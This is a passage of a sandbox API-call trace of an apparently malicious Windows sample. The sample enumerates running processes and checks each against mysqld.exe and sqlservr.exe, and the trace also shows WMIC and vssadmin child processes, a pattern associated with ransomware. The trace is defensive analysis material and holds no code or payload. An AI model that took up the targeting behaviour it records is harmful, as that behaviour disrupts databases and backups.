dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.857] CharLowerBuffW (in: lpsz="spcwin.exe", cchLength=0xb | out: lpsz="spcwin.exe") returned 0xb [0081.857] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.857] VarBstrCmp (bstrLeft="spcwin.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.857] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0081.857] GetLastError () returned 0x0 [0081.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spgagentservice.exe") returned 260 [0081.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.858] CharLowerBuffW (in: lpsz="spgagentservice.exe", cchLength=0x14 | out: lpsz="spgagentservice.exe") returned 0x14 [0081.858] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.858] VarBstrCmp (bstrLeft="ervice.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.858] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0081.858] GetLastError () returned 0x0 [0081.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="utg2.exe") returned 260 [0081.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.859] CharLowerBuffW (in: lpsz="utg2.exe", cchLength=0x9 | out: lpsz="utg2.exe") returned 0x9 [0081.859] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.859] VarBstrCmp (bstrLeft="utg2.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.859] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="honey projector.exe")) returned 1 [0081.859] GetLastError () returned 0x0 [0081.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="honey projector.exe") returned 260 [0081.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.860] CharLowerBuffW (in: lpsz="honey projector.exe", cchLength=0x14 | out: lpsz="honey projector.exe") returned 0x14 [0081.860] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.860] VarBstrCmp (bstrLeft="jector.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.860] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.860] GetLastError () returned 0x0 [0081.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="WmiPrvSE.exe") returned 260 [0081.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.861] CharLowerBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xd | out: lpsz="wmiprvse.exe") returned 0xd [0081.861] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.861] VarBstrCmp (bstrLeft="iprvse.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.861] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.861] GetLastError () returned 0x0 [0081.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="WmiPrvSE.exe") returned 260 [0081.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.862] CharLowerBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xd | out: lpsz="wmiprvse.exe") returned 0xd [0081.862] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.862] VarBstrCmp (bstrLeft="iprvse.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.862] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.862] GetLastError () returned 0x0 [0081.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskhost.exe") returned 260 [0081.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.863] CharLowerBuffW (in: lpsz="taskhost.exe", cchLength=0xd | out: lpsz="taskhost.exe") returned 0xd [0081.863] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.863] VarBstrCmp (bstrLeft="skhost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.863] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xaf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="jeno2.exe")) returned 1 [0081.863] GetLastError () returned 0x0 [0081.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="jeno2.exe") returned 260 [0081.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.864] CharLowerBuffW (in: lpsz="jeno2.exe", cchLength=0xa | out: lpsz="jeno2.exe") returned 0xa [0081.864] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.864] VarBstrCmp (bstrLeft="jeno2.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.864] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0081.864] GetLastError () returned 0x0 [0081.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="WMIC.exe") returned 260 [0081.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.865] CharLowerBuffW (in: lpsz="WMIC.exe", cchLength=0x9 | out: lpsz="wmic.exe") returned 0x9 [0081.865] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.865] VarBstrCmp (bstrLeft="wmic.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.865] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.865] GetLastError () returned 0x0 [0081.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="conhost.exe") returned 260 [0081.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.865] CharLowerBuffW (in: lpsz="conhost.exe", cchLength=0xc | out: lpsz="conhost.exe") returned 0xc [0081.866] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.866] VarBstrCmp (bstrLeft="onhost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.866] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0081.866] GetLastError () returned 0x0 [0081.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="vssadmin.exe") returned 260 [0081.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.866] CharLowerBuffW (in: lpsz="vssadmin.exe", cchLength=0xd | out: lpsz="vssadmin.exe") returned 0xd [0081.867] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.867] VarBstrCmp (bstrLeft="sadmin.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.867] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0081.867] GetLastError () returned 0x12 [0081.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="vssadmin.exe") returned 260 [0081.867] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.867] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76d30000 [0081.868] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.868] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0081.868] CloseHandle (hObject=0x27c) returned 1 [0081.868] GetLastError () returned 0x0 [0081.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=128, lpMultiByteStr=0x18ec00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 128 [0081.868] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.868] GetLastError () returned 0x0 [0081.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ec00, cbMultiByte=128, lpWideCharStr=0x18eca0, cchWideChar=128 | out: lpWideCharStr="Service Pack 1") returned 128 [0081.868] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0081.872] GetLastError () returned 0x0 [0081.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=260, lpMultiByteStr=0x18e9fc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 260 [0081.872] Process32First (in: hSnapshot=0x27c, lppe=0x18e9d8 | out: lppe=0x18e9d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.873] GetLastError () returned 0x0 [0081.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e9fc, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="[System Process]") returned 260 [0081.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.873] CharLowerBuffW (in: lpsz="[System Process]", cchLength=0x11 | out: lpsz="[system process]") returned 0x11 [0081.873] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.873] VarBstrCmp (bstrLeft="tem process]", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.873] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.874] GetLastError () returned 0x0 [0081.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="System") returned 260 [0081.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.874] CharLowerBuffW (in: lpsz="System", cchLength=0x7 | out: lpsz="system") returned 0x7 [0081.874] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.874] VarBstrCmp (bstrLeft="system", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.874] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.875] GetLastError () returned 0x0 [0081.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="smss.exe") returned 260 [0081.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.875] CharLowerBuffW (in: lpsz="smss.exe", cchLength=0x9 | out: lpsz="smss.exe") returned 0x9 [0081.875] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.875] VarBstrCmp (bstrLeft="smss.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.875] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.876] GetLastError () returned 0x0 [0081.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="csrss.exe") returned 260 [0081.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.876] CharLowerBuffW (in: lpsz="csrss.exe", cchLength=0xa | out: lpsz="csrss.exe") returned 0xa [0081.876] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.876] VarBstrCmp (bstrLeft="csrss.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.876] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.877] GetLastError () returned 0x0 [0081.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="wininit.exe") returned 260 [0081.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.877] CharLowerBuffW (in: lpsz="wininit.exe", cchLength=0xc | out: lpsz="wininit.exe") returned 0xc [0081.877] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.877] VarBstrCmp (bstrLeft="wininit.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.879] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.880] GetLastError () returned 0x0 [0081.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="csrss.exe") returned 260 [0081.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.880] CharLowerBuffW (in: lpsz="csrss.exe", cchLength=0xa | out: lpsz="csrss.exe") returned 0xa [0081.880] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.880] VarBstrCmp (bstrLeft="csrss.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.880] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.881] GetLastError () returned 0x0 [0081.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="winlogon.exe") returned 260 [0081.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.881] CharLowerBuffW (in: lpsz="winlogon.exe", cchLength=0xd | out: lpsz="winlogon.exe") returned 0xd [0081.881] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.881] VarBstrCmp (bstrLeft="winlogon.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.881] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.882] GetLastError () returned 0x0 [0081.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="services.exe") returned 260 [0081.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.882] CharLowerBuffW (in: lpsz="services.exe", cchLength=0xd | out: lpsz="services.exe") returned 0xd [0081.882] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.882] VarBstrCmp (bstrLeft="services.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.882] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.882] GetLastError () returned 0x0 [0081.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="lsass.exe") returned 260 [0081.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.883] CharLowerBuffW (in: lpsz="lsass.exe", cchLength=0xa | out: lpsz="lsass.exe") returned 0xa [0081.883] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.883] VarBstrCmp (bstrLeft="lsass.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.883] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0081.884] GetLastError () returned 0x0 [0081.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="lsm.exe") returned 260 [0081.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.884] CharLowerBuffW (in: lpsz="lsm.exe", cchLength=0x8 | out: lpsz="lsm.exe") returned 0x8 [0081.884] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.884] VarBstrCmp (bstrLeft="lsm.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.884] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.885] GetLastError () returned 0x0 [0081.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x14b5ed4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.885] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.885] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.885] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.885] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.885] GetLastError () returned 0x0 [0081.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.886] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.886] CharLowerBuffW (in: lpsz="sqlservr.exe", cchLength=0xd | out: lpsz="sqlservr.exe") returned 0xd [0081.886] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.886] Process32Next (in: 